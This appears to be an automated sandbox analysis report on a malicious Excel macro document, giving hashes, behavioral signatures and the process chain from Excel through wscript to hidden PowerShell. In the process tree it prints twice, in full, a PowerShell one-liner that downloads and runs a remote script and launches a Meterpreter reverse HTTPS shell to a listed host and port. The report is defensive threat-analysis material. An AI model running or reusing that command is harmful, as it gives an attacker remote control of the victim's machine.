Analysis
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max time kernel
48s -
max time network
45s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system -
submitted
07-07-2024 21:59
Behavioral task
behavioral1
Sample
a146d0f5e344ae93eec7f9f4a8118f69fdd8bcfa9710424fe6d6b114929f31b8.xls
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
a146d0f5e344ae93eec7f9f4a8118f69fdd8bcfa9710424fe6d6b114929f31b8.xls
Resource
win10v2004-20240704-en
General
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Target
a146d0f5e344ae93eec7f9f4a8118f69fdd8bcfa9710424fe6d6b114929f31b8.xls
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Size
44KB
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MD5
13414c6061211ae33931af1fb7e2fa09
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SHA1
d553bb1e647c862504857fdda2151eabc8e435d5
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SHA256
a146d0f5e344ae93eec7f9f4a8118f69fdd8bcfa9710424fe6d6b114929f31b8
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SHA512
39a408693268a20d8961b8b662058edffb726f82a2ace9ca0d1da76e826610526a17fe262c6701e7e8ac191bf1159107f449e951fc452d3a5950c2842c24008b
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SSDEEP
768:NNtvo+hzsk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJI4YfuFwmQQc8kJ9acp9acyL:rak3hbdlylKsgqopeJBWhZFGkE+cL2Nu
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 220 884 powershell.exe 82 Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1848 3492 wscript.exe 81 -
Blocklisted process makes network request 2 IoCs
flow pid Process 11 220 powershell.exe 10 2260 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 220 powershell.exe 2260 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2494989678-839960665-2515455429-1000\Control Panel\International\Geo\Nation wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 9 raw.githubusercontent.com 10 raw.githubusercontent.com 11 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 3492 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 220 powershell.exe 220 powershell.exe 2260 powershell.exe 2260 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 220 powershell.exe Token: SeDebugPrivilege 2260 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3492 EXCEL.EXE 3492 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 3492 EXCEL.EXE 3492 EXCEL.EXE 3492 EXCEL.EXE 3492 EXCEL.EXE 3492 EXCEL.EXE 3492 EXCEL.EXE 3492 EXCEL.EXE 3492 EXCEL.EXE 3492 EXCEL.EXE 3492 EXCEL.EXE 3492 EXCEL.EXE 3492 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3492 wrote to memory of 1848 3492 EXCEL.EXE 88 PID 3492 wrote to memory of 1848 3492 EXCEL.EXE 88 PID 1848 wrote to memory of 2260 1848 wscript.exe 90 PID 1848 wrote to memory of 2260 1848 wscript.exe 90
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a146d0f5e344ae93eec7f9f4a8118f69fdd8bcfa9710424fe6d6b114929f31b8.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\SYSTEM32\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2260
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:220
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5d491dd55e0fbf193a3a98500c27734a4
SHA1211534491f02d0e06ecfabc702fee9a59705b57e
SHA256b5332a5b9b78dab39d820ccd8d0adb52ef1991245488afcd5774928bdad10e22
SHA512278cb6ecfa35b487dd5ac775ef6febec58fc0c39123fa98268a3f50d1ea3667158ecce0b40caeb61943c6204e1c4fea7cad16074106d3f1e7e4451e7d980d64d
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Filesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78